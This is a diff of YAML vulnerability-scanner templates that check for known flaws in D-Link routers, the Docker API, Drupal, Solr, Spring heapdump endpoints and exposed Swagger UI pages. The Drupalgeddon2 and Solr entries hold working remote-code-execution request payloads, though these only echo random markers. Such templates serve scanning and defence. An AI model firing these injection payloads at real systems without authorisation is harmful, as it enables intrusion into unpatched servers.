response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
response.status == 200 && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
detail:
author: x1n9Qi8
Affected Version: "Dlink DIR-610"
links:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376
@@ -4,7 +4,7 @@ rules:
path: /info
follow_redirects: false
expression: |
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir")
response.status == 200 && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir")
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
@@ -25,9 +25,9 @@ rules:
}
follow_redirects: true
expression: |
response.status == 403 && response.content_type.contains("hal+json") && response.body.bcontains(bytes(r1 + "%" + r2))
response.status == 403 && response.body.bcontains(bytes(r1 + "%" + r2))
detail:
author: thatqier
links:
- https://github.com/jas502n/CVE-2019-6340
- https://github.com/knqyf263/CVE-2019-6340
- https://github.com/knqyf263/CVE-2019-6340
@@ -0,0 +1,28 @@
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
search: |
name="form_build_id"\s+value="(?P<build_id>.+?)"
expression: |
response.status == 200
- method: POST
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_build_id={{build_id}}
expression: |
response.body.bcontains(bytes(r1 + "%" + r2))
detail:
drupal_version: 7
links:
- https://github.com/dreadlocked/Drupalgeddon2
- https://paper.seebug.org/567/
@@ -0,0 +1,20 @@
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
expression: |
response.body.bcontains(bytes(r1 + "%" + r2))
detail:
drupal_version: 8
links:
- https://github.com/dreadlocked/Drupalgeddon2
- https://paper.seebug.org/567/
test:
target: http://cve-2018-7600-8-x.vulnet:8080/
@@ -10,7 +10,7 @@ rules:
search: '"name":"(?P<core>.*?)"'
- method: POST
path: >-
/solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}%2B{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E
/solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}*{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E
headers:
Content-Type: text/html
body: |-
@@ -20,7 +20,7 @@ rules:
</book>
</books>
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: fnmsd(https://github.com/fnmsd)
solr_version: '<8.1.12'
+12
View File
@@ -0,0 +1,12 @@
name: poc-yaml-spring-heapdump-file
rules:
- method: HEAD
path: /heapdump
follow_redirects: true
expression: |
response.status == 200 && response.content_type.contains("application/octet-stream")
detail:
author: AgeloVito
info: spring-heapdump-file
links:
- https://www.cnblogs.com/wyb628/p/8567610.html
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /api/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /service/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /web/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /swagger/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /actuator/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /libs/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /template/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210

Some files were not shown because too many files have changed in this diff Show More